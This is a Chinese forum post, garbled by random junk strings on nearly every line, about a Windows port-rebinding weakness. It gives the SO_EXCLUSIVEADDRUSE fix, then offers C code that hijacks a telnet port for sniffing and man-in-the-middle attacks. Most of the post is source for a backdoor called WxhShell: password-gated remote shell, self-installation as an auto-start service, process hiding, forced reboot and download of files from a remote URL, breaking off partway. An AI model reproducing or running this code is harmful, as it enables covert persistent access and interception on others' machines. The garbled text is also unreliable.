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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Nec(^|[   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )6R#k8'ERr  
!9<RWNKV)Y  
  saddr.sin_family = AF_INET; 3 ws(uF9$  
Iv|WeSL.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "KI,3g _V  
5@Lxbe( q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0) Um W{  
n\ ',F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J)yy}[Fx  
lbuW*)  
  这意味着什么?意味着可以进行如下的攻击: Lvj5<4h;  
m<'xlF  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Md?bAMnG+}  
.8PO7#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 't%%hw-m}  
%WT:RT_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B[_bJ *  
>0+|0ba  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v7OV;e a$  
.fh?=B[o#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 dVG UhXN6  
,t&-`U]AX  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~md|k  
^FMa8;'o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w{O3P"N2  
]3y5b9DuW  
  #include |tJ%:`DGw  
  #include #`L}.  
  #include aE cg_es  
  #include    g*c\'~f;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i7FR78^  
  int main() ._8cJf.ae  
  { = SJF \Z  
  WORD wVersionRequested; Di"9 M(6vf  
  DWORD ret; +2fJ  
  WSADATA wsaData; L(n~@ gq  
  BOOL val; Jx>B %vZ\  
  SOCKADDR_IN saddr; pD6g+Taj  
  SOCKADDR_IN scaddr; ;I))gY-n  
  int err; DfzUGX  
  SOCKET s; xv%USm  
  SOCKET sc; )W6- h  
  int caddsize; 3XlnI:w =  
  HANDLE mt; MMr7,?,$  
  DWORD tid;   '=5_u  
  wVersionRequested = MAKEWORD( 2, 2 ); 5 /jY=/0.a  
  err = WSAStartup( wVersionRequested, &wsaData ); yGG\[I;7  
  if ( err != 0 ) { ?_j6})2zY  
  printf("error!WSAStartup failed!\n"); p}zk&`  
  return -1; sCCr%r]zL  
  } vrnj}f[h  
  saddr.sin_family = AF_INET; nK'8Mo  
   %+B-Z/1}  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vG_v89t!ex  
0t[mhmSU,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sr@XumT  
  saddr.sin_port = htons(23); }_/h~D9-T#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^W[`##,{Od  
  { 4-rI4A<  
  printf("error!socket failed!\n"); L{,7(C=  
  return -1; j=QR*8*  
  } GhQ`{iJM  
  val = TRUE; .'mC3E+ $  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 F20-!b  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `&[:!U2]F  
  { YJvT p~  
  printf("error!setsockopt failed!\n"); [*ovYpj^  
  return -1; & O\!!1%  
  } 0@x$Cp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; y$9 t!cx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 dB/I2uGl>  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?!j/wV_H  
rZQHB[^3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lbU+a$  
  { 2LH;d`H[0  
  ret=GetLastError(); e.ym7L]$O  
  printf("error!bind failed!\n"); UuC"-$:  
  return -1; SA n=9MG  
  } {!Z_&i5  
  listen(s,2); K}3"KC  
  while(1) t}+c/ C%b=  
  { !,!tNs1 K  
  caddsize = sizeof(scaddr); M &EJFpc*  
  //接受连接请求 HF[%/Tu  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); >P"/ nS"nn  
  if(sc!=INVALID_SOCKET) x2c*k$<p  
  { Xt*%"7yTp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); f/i,Zw  
  if(mt==NULL) f> [;|r@K  
  { JP@m%Yj  
  printf("Thread Creat Failed!\n"); X&oy.Roo  
  break; rWpfAE)!  
  } mf[79:90^  
  } s:F+bG}|  
  CloseHandle(mt); L=!kDU  
  } QGG(I7{-  
  closesocket(s); pYUkd!K"  
  WSACleanup(); .+ o>  
  return 0; rPvX8*) tV  
  }   ,;pX.Ob U  
  DWORD WINAPI ClientThread(LPVOID lpParam) HwMsP$`q  
  { }4]x"DfIg  
  SOCKET ss = (SOCKET)lpParam; < ^!eaBR4  
  SOCKET sc; !rGI),  
  unsigned char buf[4096]; :!15>ML;-  
  SOCKADDR_IN saddr; x)Kh _G  
  long num; Tm.w+@  
  DWORD val; slO9H6<  
  DWORD ret; ~0GX~{;r  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @_ ZW P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Jd6Q9~z#  
  saddr.sin_family = AF_INET; ]!o,S{a&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 5<?$/H|7T  
  saddr.sin_port = htons(23); b=\3N3OX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <f{`}drp/  
  { Cy'W!qH  
  printf("error!socket failed!\n"); <%uZwk>#  
  return -1; &YP>" <  
  } k\Tm?^L)  
  val = 100; `9{C/qB  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .h^Ld,Chj  
  { I19F\ L`4  
  ret = GetLastError(); 2czL 1Ci  
  return -1; usf(U>  
  } -vAG5x/,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ([o:_5/8I  
  { ]=<@G.[=  
  ret = GetLastError(); vg1s5Y qk  
  return -1; ,?~,"IQyi[  
  } pR>QIZq<gT  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) irj}:f;!eF  
  { |ema-pRC  
  printf("error!socket connect failed!\n"); Vzm7xl [  
  closesocket(sc); ZaindX{.1  
  closesocket(ss); G)|HFcE  
  return -1; vGp@YABM  
  } tzJtd  
  while(1) c2:kZxT  
  { _tJURk%  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }kefrT  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~2ei+#d!^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dh`A(B{hfc  
  num = recv(ss,buf,4096,0); A~SSu.L@  
  if(num>0) Mn;CG'FA  
  send(sc,buf,num,0); )PNk O3  
  else if(num==0) 90D.G_45  
  break; F$p,xFH#  
  num = recv(sc,buf,4096,0); }gaKO 5  
  if(num>0) a :AcCd)  
  send(ss,buf,num,0); -ouL4  
  else if(num==0) Ggjb86v\  
  break; .sMi"gg  
  } ~h|L;E"  
  closesocket(ss); B%;+8]  
  closesocket(sc); Yr0i9Qow  
  return 0 ; I65GUX#DV  
  } f\w4F'^tj  
-bQvJ`iF  
H}rP{`m  
========================================================== NO1]JpR  
h0}-1kVT^  
下边附上一个代码,,WXhSHELL 7@]hu^)rry  
$7g(-W  
========================================================== ^@eCT}p{  
zxHfQ(  
#include "stdafx.h" Y :BrAa[  
24l9/v'  
#include <stdio.h> {a%cU[q  
#include <string.h> FQ^uX]<3j  
#include <windows.h> ^S$w,  
#include <winsock2.h> mt7:`-  
#include <winsvc.h> :7*\|2zA  
#include <urlmon.h> Pfy;/}u^c  
<!$Cvx\U  
#pragma comment (lib, "Ws2_32.lib") wt,N<L  
#pragma comment (lib, "urlmon.lib") { )K(}~VD  
m!if_Iq  
#define MAX_USER   100 // 最大客户端连接数 K?WqAVK  
#define BUF_SOCK   200 // sock buffer .<hv &t  
#define KEY_BUFF   255 // 输入 buffer l>q.BG  
$% t  
#define REBOOT     0   // 重启 ] UTP~2N  
#define SHUTDOWN   1   // 关机 )~kb 7rfl  
qIp`'.#m  
#define DEF_PORT   5000 // 监听端口  $nWmoe)  
Yb*}2  
#define REG_LEN     16   // 注册表键长度 2Ta F7Jn  
#define SVC_LEN     80   // NT服务名长度 $R4\jIew V  
,pepr9Yd  
// 从dll定义API #{sb>^BF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H& +s&F{%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \ 02e zG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); euK!JZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K*[wr@)u  
['j,S<Bu~  
// wxhshell配置信息 @,.H)\a4  
struct WSCFG { dno*Usx5d0  
  int ws_port;         // 监听端口 ,B><la87  
  char ws_passstr[REG_LEN]; // 口令 6 h):o  
  int ws_autoins;       // 安装标记, 1=yes 0=no iqYc&}k,  
  char ws_regname[REG_LEN]; // 注册表键名 54&2SU$kx  
  char ws_svcname[REG_LEN]; // 服务名 f}4h}Cq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hG]20n2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E}+A)7mA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :=@[FXD4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no FT6cOMu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }_x oT9HUr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8%B @[YDe  
g!UM8I-$  
}; J4; ".Y=  
uOx$@1v,  
// default Wxhshell configuration !JA63  
struct WSCFG wscfg={DEF_PORT, 5+J/Qm8{bb  
    "xuhuanlingzhe", A`Nb"N$H13  
    1, HIAd"}^  
    "Wxhshell", TvR2lP  
    "Wxhshell", e2Dj%=`EU  
            "WxhShell Service", @ ri. r1  
    "Wrsky Windows CmdShell Service", Fk:(% ci  
    "Please Input Your Password: ", ^C{a'  
  1, &ReIe>L  
  "http://www.wrsky.com/wxhshell.exe", {iv=KF_S_  
  "Wxhshell.exe" zb(u?U  
    }; +TX]~k79Oq  
9S^-qQH3}  
// 消息定义模块 OZ&aTm :  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KN=Orx7Gy  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }e$);A|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V RL6F2 >6  
char *msg_ws_ext="\n\rExit."; O<*iDd`(e  
char *msg_ws_end="\n\rQuit."; (;h\)B!o  
char *msg_ws_boot="\n\rReboot..."; <LE>WfmC  
char *msg_ws_poff="\n\rShutdown..."; =9M-N?cV  
char *msg_ws_down="\n\rSave to "; *V/SI E*8  
X}Lp!.i9o  
char *msg_ws_err="\n\rErr!"; lbY>R@5  
char *msg_ws_ok="\n\rOK!"; V SxLBwXf  
)yk LUse+  
char ExeFile[MAX_PATH]; Sn]A0J_  
int nUser = 0; W0|?R6|  
HANDLE handles[MAX_USER]; T+fU +GLD  
int OsIsNt; ~zx-'sc?  
FP$]D~DMo  
SERVICE_STATUS       serviceStatus; 2iu;7/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <fxYTd<#D[  
^]kDYhe*Y  
// 函数声明 +^.(3Aw  
int Install(void); q0}LfXql8  
int Uninstall(void); LYKepk  
int DownloadFile(char *sURL, SOCKET wsh); sf LBi~*j  
int Boot(int flag); 8c#*T%Vf  
void HideProc(void); 'D bHXS7N  
int GetOsVer(void); V}*b^<2o 5  
int Wxhshell(SOCKET wsl); K;K tx>Z/  
void TalkWithClient(void *cs); Hd:ZE::Q'#  
int CmdShell(SOCKET sock); "6ZatRUd  
int StartFromService(void); .d2s4q\  
int StartWxhshell(LPSTR lpCmdLine); cg4,PI% hz  
A-<qr6q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R~b$7jpd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); :V [vE h  
#q-t!C%E  
// 数据结构和表定义 [|3 %~s|Sv  
SERVICE_TABLE_ENTRY DispatchTable[] = v1: 5 r  
{ I;7VX5X  
{wscfg.ws_svcname, NTServiceMain}, h*Ej}_  
{NULL, NULL} SWu=n1J.?H  
}; @"6BvGU2s  
z')'8155  
// 自我安装 ~7*HZ:.  
int Install(void) opBv x>S  
{ Gr_I/+<  
  char svExeFile[MAX_PATH]; QeK~A@|F&  
  HKEY key; jooh`| `P  
  strcpy(svExeFile,ExeFile); X,p&S^  
w/R^Vwq  
// 如果是win9x系统,修改注册表设为自启动 Uc&0>_Z  
if(!OsIsNt) { #M:W?&.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^E9@L ??  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :Q%&:[2  
  RegCloseKey(key); mU*GcWbc+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ? in&/ZrB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P iN3t]2  
  RegCloseKey(key); #2}S83 k  
  return 0; :ZUy(8%Wl  
    } k;%}%"EVZ  
  } q+N}AKawB  
} &B) F_EI  
else { Jyd%!v  
\"5\hX~dS  
// 如果是NT以上系统,安装为系统服务 Yz,*Q<t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *yB!^O  
if (schSCManager!=0) ,[A} 86  
{ JO _a+Yl  
  SC_HANDLE schService = CreateService 5~qr+la  
  ( `/"z.~8  
  schSCManager, j"f ]pzg&  
  wscfg.ws_svcname, )%Y$F LB  
  wscfg.ws_svcdisp, XOxm<3gXn  
  SERVICE_ALL_ACCESS, UZ y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NoMEe<  
  SERVICE_AUTO_START, S"lcePN  
  SERVICE_ERROR_NORMAL, f6DPah#  
  svExeFile, ioZ2J"s  
  NULL, 1 @/+ c  
  NULL, bo]k9FC  
  NULL, LnBkd:>}  
  NULL, 4kx#=MLt  
  NULL 1j}o. 0\  
  ); <Wl! Qog'  
  if (schService!=0) k(s3~S2h  
  { xa K:@/  
  CloseServiceHandle(schService); sR5dC_  
  CloseServiceHandle(schSCManager); /6>2,S8Ar  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); pPh$Jvo]  
  strcat(svExeFile,wscfg.ws_svcname); KxY|:-"Tt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { thS#fO4]d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *G=n${'  
  RegCloseKey(key); Y#uf 2>J  
  return 0; *rA!`e*  
    } sO6+L #!  
  } 4p F%G  
  CloseServiceHandle(schSCManager); 7bTs+C_;7  
} 0evG  
} m(9E{;   
'A4Lr  
return 1; q+SDJ?v  
} ?L|@{RS{|  
7^S&g.A  
// 自我卸载 H>M0G L  
int Uninstall(void) y1P?A]v  
{ !]W6i]p  
  HKEY key; (!;4Y82#  
3wD6,x-e   
if(!OsIsNt) { c!s{QWd%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .sCo,  
  RegDeleteValue(key,wscfg.ws_regname); HgbJsv$  
  RegCloseKey(key); t0?\5q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .NZ_dz$c  
  RegDeleteValue(key,wscfg.ws_regname); W(EU*~<UC  
  RegCloseKey(key); <>p\9rVp*^  
  return 0; $.v5G>- )3  
  } GK:*|jV  
} &bTadd%0  
} yBeSvsm  
else { SdN|-'qf  
x_#yH3kJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |rsu+0Mtz  
if (schSCManager!=0) #t9&X8:U  
{ IA''-+9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :  wb\N'b  
  if (schService!=0) w!%Bc]  
  { eml(F  
  if(DeleteService(schService)!=0) { yh} V u  
  CloseServiceHandle(schService); aMT&}3  
  CloseServiceHandle(schSCManager); 9Lv`3J^~  
  return 0; 7 pp[kv;!G  
  } b5KX`r  
  CloseServiceHandle(schService); *pj&^W?  
  } @eR>?.:&  
  CloseServiceHandle(schSCManager); GN(PH/fO9  
} )R,*>-OPJL  
} s}UPe)Vu  
2g|+*.*`  
return 1; Gu9Ap<>!  
} ;p) gTQa  
PJO +@+"{@  
// 从指定url下载文件 `[[ A 7  
int DownloadFile(char *sURL, SOCKET wsh) pM.>u/=X  
{ pl'n 0L<l  
  HRESULT hr; izOtt^#DZt  
char seps[]= "/"; t4 $cMf  
char *token; 4WU 6CN  
char *file; Zn&X Uvdl  
char myURL[MAX_PATH]; L7C!rS  
char myFILE[MAX_PATH]; !c'a<{d@  
k(!#^Mlz[  
strcpy(myURL,sURL); kC6J@t)  
  token=strtok(myURL,seps); BPtU]Bv-  
  while(token!=NULL) Ig*!0(v5$  
  { x>7}>Y*(  
    file=token; HtPasFrJ  
  token=strtok(NULL,seps); UjUDP>iz.>  
  } 3/P2&m  
0vf2wBK'T  
GetCurrentDirectory(MAX_PATH,myFILE); >4b-NS/}0  
strcat(myFILE, "\\"); k oZqoP  
strcat(myFILE, file); Dtt[a  
  send(wsh,myFILE,strlen(myFILE),0); Qgf\gTF$r+  
send(wsh,"...",3,0); K%Jy?7 U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); L-",.U*;  
  if(hr==S_OK) D'c, z[  
return 0; "=N[g  
else 5o'V}  
return 1; 4ijoAW3A^  
cea%M3  
} 8?J\  
<Hig,(=`.  
// 系统电源模块 ?3k;Yg/  
int Boot(int flag) QzCu$ [  
{  ze{  
  HANDLE hToken; g;D [XBp  
  TOKEN_PRIVILEGES tkp; >a5CW~Z]  
BbnY9"  
  if(OsIsNt) { ~;9B\fE`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); < Pg4>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #'_i6  
    tkp.PrivilegeCount = 1; R=_ fk  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R6ca;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o&-q.;MY  
if(flag==REBOOT) { lL/|{A|-j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P0Z1cN}  
  return 0; [2WJ>2r}6  
} mtOCk 5E  
else { m?`U;R[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ? L|m:A`  
  return 0; +Gg6h=u  
} eZJrV} V  
  } YP5V~-O/  
  else { .r[kNh@ b%  
if(flag==REBOOT) { 8fY1~\G:\  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %lF}!  
  return 0; ckHHD|  
} A|Up >`QH  
else { KD11<&4_x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n3da@ClBt  
  return 0; }YfM <  
} 0sD"Hu  
} [yF>W$Bn%  
ep>*]'  
return 1; 7`9J.L&,;  
} {R5Q{]dK3  
w z}BH  
// win9x进程隐藏模块 xxLD8?@e7  
void HideProc(void) FFQ=<(Ki  
{ xPl+ rsU  
<DxUqCE  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :<=A1>&8  
  if ( hKernel != NULL ) .v?Ir)  
  { \#?n'qyj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !yI , ~`Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NifzZEX  
    FreeLibrary(hKernel); ]>M{Q n*  
  } tsaf|xe  
^rO3B?_  
return; 5ztHar~f  
} 'Y Bz?l9  
|gxT-ZM  
// 获取操作系统版本 Yw&{.<sL  
int GetOsVer(void) .KSPr  
{ Z/n\Ak sE  
  OSVERSIONINFO winfo; 7O84R^!|2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q ;V `  
  GetVersionEx(&winfo); $d? N("L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hpo7diBE  
  return 1; 35|F?Jx.r  
  else !$ItBn/_  
  return 0; }d?"i@[  
} yhhW4rz  
4=^_ 4o2  
// 客户端句柄模块 zGjf7VV2a  
int Wxhshell(SOCKET wsl) 3\j{*f$J  
{ k GR5!8$z  
  SOCKET wsh; r\-Mj\$-  
  struct sockaddr_in client; 0n` 1GU)W  
  DWORD myID; )GhMM  
nG hFYQl  
  while(nUser<MAX_USER) " lar~  
{ O4H %x  
  int nSize=sizeof(client); k<x  %  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fbgq+f`\  
  if(wsh==INVALID_SOCKET) return 1; c 4xh  
g b:)t }|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oNH&VHjU  
if(handles[nUser]==0) !#s1'x{o  
  closesocket(wsh); iU]py  
else s wgn( -  
  nUser++; G$FNofQx  
  } i]oSVXx4WC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QbA+\  
)xwWig.  
  return 0; ozv:$>v@"  
} vF,\{sgW  
B]jN~CO?  
// 关闭 socket J}a 8N.S  
void CloseIt(SOCKET wsh) 46^LPC"x  
{ "_dh6naZX  
closesocket(wsh); OJ0Dw*K<  
nUser--; KFd !wZ @e  
ExitThread(0); 7[aSP5e>T  
} k=L(C^VP  
:y#KR\T1  
// 客户端请求句柄 'oNY4.[  
void TalkWithClient(void *cs) rBG8.E36J  
{ "uK`!{  
N]qX^RSb  
  SOCKET wsh=(SOCKET)cs; E{_$C!.  
  char pwd[SVC_LEN]; &aD ]_+b  
  char cmd[KEY_BUFF]; svki=GD_(.  
char chr[1]; a:nMW'!  
int i,j; Q(Uj5aX  
BfQRw>dZ"{  
  while (nUser < MAX_USER) { ~&)  
Rf7*Ut wVr  
if(wscfg.ws_passstr) { 2pa: 3O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tS!|#h-J  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RDX".'`(=  
  //ZeroMemory(pwd,KEY_BUFF);  O+D"7  
      i=0; ^}nz^+R  
  while(i<SVC_LEN) { ra#s!m1  
P5{|U"Y_  
  // 设置超时 +o&&5&HR  
  fd_set FdRead; -UgD  
  struct timeval TimeOut; pi`sx[T@{Z  
  FD_ZERO(&FdRead); zyey5Z:7  
  FD_SET(wsh,&FdRead); J*@(rb#G  
  TimeOut.tv_sec=8; W '54g$T  
  TimeOut.tv_usec=0; h|z{ (v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CYlZ<W'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GMLDmTV  
Mx& P^#B3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pC9Ed9uRK  
  pwd=chr[0]; WPbWG$Li  
  if(chr[0]==0xd || chr[0]==0xa) { nFE0y3GD8  
  pwd=0; Sw!/ I PO  
  break; aBL+i-  
  } bqB gq  
  i++; 4E&= qC]S  
    } 9D 2B8t"a  
%\xwu(|kN  
  // 如果是非法用户,关闭 socket !L5[s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ("HT0 &#a  
} 4.@gV/U(|  
I^'U_"vB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >we/#C"x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [Tv!Pc  
8!e1T,:b  
while(1) { `a.1Af;L  
tF> ?]  
  ZeroMemory(cmd,KEY_BUFF); W/Rb7q4v  
0:<dj:%M  
      // 自动支持客户端 telnet标准   B5%N@g$`j  
  j=0; JpuF6mQ  
  while(j<KEY_BUFF) { t-#Y6U}b+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \W73W_P&g  
  cmd[j]=chr[0]; H}KJd5A7  
  if(chr[0]==0xa || chr[0]==0xd) { !wl3}]q  
  cmd[j]=0; (bP\_F5D  
  break; ;1`NsYI2  
  } /W !A^  
  j++; n~/#~VTVe  
    } @WuB&uF=d  
x@EEMO1_"  
  // 下载文件 G[V?# 7.  
  if(strstr(cmd,"http://")) { \qPgQsy4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?kvc`7>  
  if(DownloadFile(cmd,wsh)) 'IrwlS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \ ]AsL&  
  else T""y)%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E&G_7->  
  } UYu 54`'kg  
  else { -:txmM T  
nU Oy-c  
    switch(cmd[0]) { VU>s{_|{  
  mtEE,O!+  
  // 帮助 8YI.f  
  case '?': { ,^JP0Vc*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BS}uv3  
    break; <L+D  
  } x Hw$  
  // 安装 #vN\]e  
  case 'i': { 0-dhGh?.  
    if(Install()) = Mc]FCV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); maANxSzi  
    else !" E&Tk}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g+ `Ie'o<  
    break; Zxw>|eKI>D  
    } ldJ eja~Xl  
  // 卸载 r1cB<-bJ#'  
  case 'r': { 1KxtHLLU  
    if(Uninstall()) B8'(3&)My  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MI[=,0`D  
    else b2;Weu3WN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @:DS/#!  
    break; fT.5@RR7^  
    } 9.5hQZ  
  // 显示 wxhshell 所在路径 Hl&]r'bK  
  case 'p': { >iP>v`J  
    char svExeFile[MAX_PATH]; i>bFQ1Rdx  
    strcpy(svExeFile,"\n\r"); l7 D/ ]&  
      strcat(svExeFile,ExeFile); ?9q{b\=l  
        send(wsh,svExeFile,strlen(svExeFile),0); z41 p $  
    break; gM|X":j  
    } SJVqfi3A  
  // 重启 p\e*eV1dxx  
  case 'b': { &,':@OQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (bo{vX  
    if(Boot(REBOOT)) _nRY5YnL4P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kKVq,41'  
    else { 2S^xqvh  
    closesocket(wsh); fU~>A-P  
    ExitThread(0); Z2 B59,I  
    } 1N< )lZl)  
    break; ~AuvB4xe~  
    } k}-%NkQ 9O  
  // 关机 D@H'8C\  
